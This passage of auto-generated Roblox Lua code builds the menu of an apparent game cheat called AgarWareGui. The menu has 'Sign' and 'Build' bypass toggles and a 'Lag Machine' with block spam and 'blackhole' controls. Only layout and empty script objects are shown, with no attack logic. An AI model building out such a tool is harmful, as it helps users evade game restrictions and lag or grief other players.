Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1a1"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["1a1"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1a1"]["Text"] = [[]]; G2L["1a1"]["Name"] = [[SignBypassTickBox]]; G2L["1a1"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.SignBypassRow.SignBypassText G2L["1a2"] = Instance.new("TextLabel", G2L["19f"]); G2L["1a2"]["BorderSizePixel"] = 0; G2L["1a2"]["TextSize"] = 14; G2L["1a2"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["1a2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1a2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1a2"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1a2"]["BackgroundTransparency"] = 1; G2L["1a2"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["1a2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a2"]["Text"] = [[Sign]]; G2L["1a2"]["Name"] = [[SignBypassText]]; G2L["1a2"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BuildBypassRow G2L["1a3"] = Instance.new("Frame", G2L["188"]); G2L["1a3"]["BorderSizePixel"] = 0; G2L["1a3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1a3"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1a3"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1a3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a3"]["Name"] = [[BuildBypassRow]]; G2L["1a3"]["LayoutOrder"] = 3; G2L["1a3"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BuildBypassRow.BuildBypassScript G2L["1a4"] = Instance.new("LocalScript", G2L["1a3"]); G2L["1a4"]["Name"] = [[BuildBypassScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BuildBypassRow.BuildBypassTickBox G2L["1a5"] = Instance.new("TextButton", G2L["1a3"]); G2L["1a5"]["TextSize"] = 14; G2L["1a5"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1a5"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["1a5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1a5"]["Text"] = [[]]; G2L["1a5"]["Name"] = [[BuildBypassTickBox]]; G2L["1a5"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BuildBypassRow.BuildBypassText G2L["1a6"] = Instance.new("TextLabel", G2L["1a3"]); G2L["1a6"]["BorderSizePixel"] = 0; G2L["1a6"]["TextSize"] = 14; G2L["1a6"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["1a6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1a6"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1a6"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1a6"]["BackgroundTransparency"] = 1; G2L["1a6"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["1a6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a6"]["Text"] = [[Build]]; G2L["1a6"]["Name"] = [[BuildBypassText]]; G2L["1a6"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup G2L["1a7"] = Instance.new("Frame", G2L["186"]); G2L["1a7"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17); G2L["1a7"]["BorderMode"] = Enum.BorderMode.Middle; G2L["1a7"]["Size"] = UDim2.new(0, 170, 0, 202); G2L["1a7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1a7"]["Name"] = [[LagGroup]]; G2L["1a7"]["LayoutOrder"] = 2; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagScript G2L["1a8"] = Instance.new("LocalScript", G2L["1a7"]); G2L["1a8"]["Name"] = [[LagScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagToolTip G2L["1a9"] = Instance.new("LocalScript", G2L["1a7"]); G2L["1a9"]["Name"] = [[LagToolTip]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.UIListLayout G2L["1aa"] = Instance.new("UIListLayout", G2L["1a7"]); G2L["1aa"]["SortOrder"] = Enum.SortOrder.LayoutOrder; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagAccentColor G2L["1ab"] = Instance.new("Frame", G2L["1a7"]); G2L["1ab"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255); G2L["1ab"]["AutomaticSize"] = Enum.AutomaticSize.X; G2L["1ab"]["Size"] = UDim2.new(0, 169, 0, 2); G2L["1ab"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0); G2L["1ab"]["BorderColor3"] = Color3.fromRGB(0, 92, 189); G2L["1ab"]["Name"] = [[LagAccentColor]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagTitle G2L["1ac"] = Instance.new("TextLabel", G2L["1a7"]); G2L["1ac"]["TextWrapped"] = true; G2L["1ac"]["BorderSizePixel"] = 0; G2L["1ac"]["TextSize"] = 14; G2L["1ac"]["TextScaled"] = true; G2L["1ac"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1ac"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1ac"]["TextColor3"] = Color3.fromRGB(190, 190, 190); G2L["1ac"]["BackgroundTransparency"] = 0.95; G2L["1ac"]["Size"] = UDim2.new(0, 169, 0, 15); G2L["1ac"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1ac"]["Text"] = [[Lag Machine]]; G2L["1ac"]["LayoutOrder"] = 1; G2L["1ac"]["Name"] = [[LagTitle]]; G2L["1ac"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagTitle.LagMinimize G2L["1ad"] = Instance.new("TextButton", G2L["1ac"]); G2L["1ad"]["BorderSizePixel"] = 0; G2L["1ad"]["TextSize"] = 14; G2L["1ad"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1ad"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1ad"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1ad"]["BackgroundTransparency"] = 1; G2L["1ad"]["Size"] = UDim2.new(0, 20, 0, 15); G2L["1ad"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1ad"]["Text"] = [[-]]; G2L["1ad"]["Name"] = [[LagMinimize]]; G2L["1ad"]["Position"] = UDim2.new(0.88166, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagTitle.LagHelp G2L["1ae"] = Instance.new("TextButton", G2L["1ac"]); G2L["1ae"]["TextSize"] = 14; G2L["1ae"]["TextColor3"] = Color3.fromRGB(96, 96, 96); G2L["1ae"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["1ae"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["1ae"]["Size"] = UDim2.new(0, 12, 0, 12); G2L["1ae"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["1ae"]["Text"] = [[?]]; G2L["1ae"]["Name"] = [[LagHelp]]; G2L["1ae"]["Position"] = UDim2.new(0.02367, 0, 0.15999, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.SpamSelectRow G2L["1af"] = Instance.new("Frame", G2L["1a7"]); G2L["1af"]["BorderSizePixel"] = 0; G2L["1af"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1af"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1af"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1af"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1af"]["Name"] = [[SpamSelectRow]]; G2L["1af"]["LayoutOrder"] = 6; G2L["1af"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.SpamSelectRow.SpamSelectScript G2L["1b0"] = Instance.new("LocalScript", G2L["1af"]); G2L["1b0"]["Name"] = [[SpamSelectScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.SpamSelectRow.SpamSelectHelp G2L["1b1"] = Instance.new("TextButton", G2L["1af"]); G2L["1b1"]["TextSize"] = 14; G2L["1b1"]["TextColor3"] = Color3.fromRGB(96, 96, 96); G2L["1b1"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["1b1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["1b1"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["1b1"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["1b1"]["Text"] = [[?]]; G2L["1b1"]["Name"] = [[SpamSelectHelp]]; G2L["1b1"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.SpamSelectRow.SpamSelectButton G2L["1b2"] = Instance.new("TextButton", G2L["1af"]); G2L["1b2"]["TextSize"] = 14; G2L["1b2"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1b2"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["1b2"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1b2"]["Size"] = UDim2.new(0, 135, 0, 16); G2L["1b2"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1b2"]["Text"] = [[Select Block]]; G2L["1b2"]["Name"] = [[SpamSelectButton]]; G2L["1b2"]["Position"] = UDim2.new(0.17751, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSpamRow G2L["1b3"] = Instance.new("Frame", G2L["1a7"]); G2L["1b3"]["BorderSizePixel"] = 0; G2L["1b3"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1b3"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1b3"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1b3"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1b3"]["Name"] = [[BlockSpamRow]]; G2L["1b3"]["LayoutOrder"] = 7; G2L["1b3"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSpamRow.BlockSpamScript G2L["1b4"] = Instance.new("LocalScript", G2L["1b3"]); G2L["1b4"]["Name"] = [[BlockSpamScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSpamRow.BlockSpamButton G2L["1b5"] = Instance.new("TextButton", G2L["1b3"]); G2L["1b5"]["TextSize"] = 14; G2L["1b5"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1b5"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["1b5"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1b5"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["1b5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1b5"]["Text"] = [[Start Spam]]; G2L["1b5"]["Name"] = [[BlockSpamButton]]; G2L["1b5"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow G2L["1b6"] = Instance.new("Frame", G2L["1a7"]); G2L["1b6"]["BorderSizePixel"] = 0; G2L["1b6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1b6"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1b6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1b6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1b6"]["Name"] = [[BlockSizeRow]]; G2L["1b6"]["LayoutOrder"] = 8; G2L["1b6"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow.BlockSizeText G2L["1b7"] = Instance.new("TextLabel", G2L["1b6"]); G2L["1b7"]["BorderSizePixel"] = 0; G2L["1b7"]["TextSize"] = 14; G2L["1b7"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["1b7"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1b7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1b7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1b7"]["BackgroundTransparency"] = 1; G2L["1b7"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["1b7"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1b7"]["Text"] = [[Block Size]]; G2L["1b7"]["Name"] = [[BlockSizeText]]; G2L["1b7"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow.BlockSizeChanger G2L["1b8"] = Instance.new("TextBox", G2L["1b6"]); G2L["1b8"]["Name"] = [[BlockSizeChanger]]; G2L["1b8"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255); G2L["1b8"]["TextWrapped"] = true; G2L["1b8"]["TextSize"] = 14; G2L["1b8"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["1b8"]["TextScaled"] = true; G2L["1b8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1b8"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1b8"]["PlaceholderText"] = [[(1)]]; G2L["1b8"]["Size"] = UDim2.new(0, 46, 0, 16); G2L["1b8"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0); G2L["1b8"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1b8"]["Text"] = [[]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow.BlockSizeChanger.BlockSizeScript G2L["1b9"] = Instance.new("LocalScript", G2L["1b8"]); G2L["1b9"]["Name"] = [[BlockSizeScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow.BlockSizeHelp G2L["1ba"] = Instance.new("TextButton", G2L["1b6"]); G2L["1ba"]["TextSize"] = 14; G2L["1ba"]["TextColor3"] = Color3.fromRGB(96, 96, 96); G2L["1ba"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["1ba"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["1ba"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["1ba"]["BorderColor3"] = Color3.fromRGB(82, 82, 82); G2L["1ba"]["Text"] = [[?]]; G2L["1ba"]["Name"] = [[BlockSizeHelp]]; G2L["1ba"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockAmountRow G2L["1bb"] = Instance.new("Frame", G2L["1a7"]); G2L["1bb"]["BorderSizePixel"] = 0; G2L["1bb"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1bb"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1bb"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1bb"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1bb"]["Name"] = [[BlockAmountRow]]; G2L["1bb"]["LayoutOrder"] = 9; G2L["1bb"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockAmountRow.BlockAmountView G2L["1bc"] = Instance.new("TextButton", G2L["1bb"]); G2L["1bc"]["TextSize"] = 14; G2L["1bc"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1bc"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["1bc"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1bc"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["1bc"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1bc"]["Text"] = [[Block Spam Amount: 0]]; G2L["1bc"]["Name"] = [[BlockAmountView]]; G2L["1bc"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockAmountRow.BlockAmountView.BlockAmountViewScript G2L["1bd"] = Instance.new("LocalScript", G2L["1bc"]); G2L["1bd"]["Name"] = [[BlockAmountViewScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.ReduceLagRow G2L["1be"] = Instance.new("Frame", G2L["1a7"]); G2L["1be"]["BorderSizePixel"] = 0; G2L["1be"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1be"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1be"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1be"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1be"]["Name"] = [[ReduceLagRow]]; G2L["1be"]["LayoutOrder"] = 8; G2L["1be"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.ReduceLagRow.ReduceLagScript G2L["1bf"] = Instance.new("LocalScript", G2L["1be"]); G2L["1bf"]["Name"] = [[ReduceLagScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.ReduceLagRow.ReduceLagText G2L["1c0"] = Instance.new("TextLabel", G2L["1be"]); G2L["1c0"]["BorderSizePixel"] = 0; G2L["1c0"]["TextSize"] = 14; G2L["1c0"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["1c0"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1c0"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1c0"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1c0"]["BackgroundTransparency"] = 1; G2L["1c0"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["1c0"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c0"]["Text"] = [[Disable Lag]]; G2L["1c0"]["Name"] = [[ReduceLagText]]; G2L["1c0"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.ReduceLagRow.ReduceLagTickBox G2L["1c1"] = Instance.new("TextButton", G2L["1be"]); G2L["1c1"]["TextSize"] = 14; G2L["1c1"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1c1"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["1c1"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1c1"]["Text"] = [[]]; G2L["1c1"]["Name"] = [[ReduceLagTickBox]]; G2L["1c1"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLagRow G2L["1c2"] = Instance.new("Frame", G2L["1a7"]); G2L["1c2"]["BorderSizePixel"] = 0; G2L["1c2"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1c2"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1c2"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1c2"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c2"]["Name"] = [[BlackholeLagRow]]; G2L["1c2"]["LayoutOrder"] = 11; G2L["1c2"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLagRow.BlackholeLagScript G2L["1c3"] = Instance.new("LocalScript", G2L["1c2"]); G2L["1c3"]["Name"] = [[BlackholeLagScript]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLagRow.BlackholeLagText G2L["1c4"] = Instance.new("TextLabel", G2L["1c2"]); G2L["1c4"]["BorderSizePixel"] = 0; G2L["1c4"]["TextSize"] = 14; G2L["1c4"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["1c4"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1c4"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1c4"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1c4"]["BackgroundTransparency"] = 1; G2L["1c4"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["1c4"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c4"]["Text"] = [[Enable Blackhole]]; G2L["1c4"]["Name"] = [[BlackholeLagText]]; G2L["1c4"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlackholeLagRow.BlackholeLagTickBox G2L["1c5"] = Instance.new("TextButton", G2L["1c2"]); G2L["1c5"]["TextSize"] = 14; G2L["1c5"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c5"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c5"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1c5"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["1c5"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1c5"]["Text"] = [[]]; G2L["1c5"]["Name"] = [[BlackholeLagTickBox]]; G2L["1c5"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.TPBlackholeRow G2L["1c6"] = Instance.new("Frame", G2L["1a7"]); G2L["1c6"]["BorderSizePixel"] = 0; G2L["1c6"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1c6"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1c6"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1c6"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c6"]["Name"] = [[TPBlackholeRow]]; G2L["1c6"]["LayoutOrder"] = 20; G2L["1c6"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.TPBlackholeRow.TPBlackholeButton G2L["1c7"] = Instance.new("TextButton", G2L["1c6"]); G2L["1c7"]["TextSize"] = 14; G2L["1c7"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1c7"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25); G2L["1c7"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1c7"]["Size"] = UDim2.new(0, 161, 0, 16); G2L["1c7"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1c7"]["Text"] = [[Bring Blackhole]]; G2L["1c7"]["Name"] = [[TPBlackholeButton]]; G2L["1c7"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.OrbitBlackholeRow G2L["1c8"] = Instance.new("Frame", G2L["1a7"]); G2L["1c8"]["BorderSizePixel"] = 0; G2L["1c8"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1c8"]["Size"] = UDim2.new(0, 169, 0, 20); G2L["1c8"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0); G2L["1c8"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c8"]["Name"] = [[OrbitBlackholeRow]]; G2L["1c8"]["LayoutOrder"] = 12; G2L["1c8"]["BackgroundTransparency"] = 1; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.OrbitBlackholeRow.OrbitBlackholeText G2L["1c9"] = Instance.new("TextLabel", G2L["1c8"]); G2L["1c9"]["BorderSizePixel"] = 0; G2L["1c9"]["TextSize"] = 14; G2L["1c9"]["TextXAlignment"] = Enum.TextXAlignment.Left; G2L["1c9"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255); G2L["1c9"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1c9"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1c9"]["BackgroundTransparency"] = 1; G2L["1c9"]["Size"] = UDim2.new(0, 88, 0, 20); G2L["1c9"]["BorderColor3"] = Color3.fromRGB(0, 0, 0); G2L["1c9"]["Text"] = [[Orbit]]; G2L["1c9"]["Name"] = [[OrbitBlackholeText]]; G2L["1c9"]["Position"] = UDim2.new(0.17751, 0, 0, 0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.OrbitBlackholeRow.OrbitBlackholeChanger G2L["1ca"] = Instance.new("TextBox", G2L["1c8"]); G2L["1ca"]["Name"] = [[OrbitBlackholeChanger]]; G2L["1ca"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255); G2L["1ca"]["TextWrapped"] = true; G2L["1ca"]["TextSize"] = 14; G2L["1ca"]["TextColor3"] = Color3.fromRGB(0, 124, 255); G2L["1ca"]["TextScaled"] = true; G2L["1ca"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1ca"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1ca"]["PlaceholderText"] = [[(10)]]; G2L["1ca"]["Size"] = UDim2.new(0, 46, 0, 16); G2L["1ca"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0); G2L["1ca"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1ca"]["Text"] = [[]]; -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.OrbitBlackholeRow.OrbitBlackholeTickBox G2L["1cb"] = Instance.new("TextButton", G2L["1c8"]); G2L["1cb"]["TextSize"] = 14; G2L["1cb"]["TextColor3"] = Color3.fromRGB(0, 0, 0); G2L["1cb"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1cb"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1cb"]["Size"] = UDim2.new(0, 16, 0, 16); G2L["1cb"]["BorderColor3"] = Color3.fromRGB(58, 58, 58); G2L["1cb"]["Text"] = [[]]; G2L["1cb"]["Name"] = 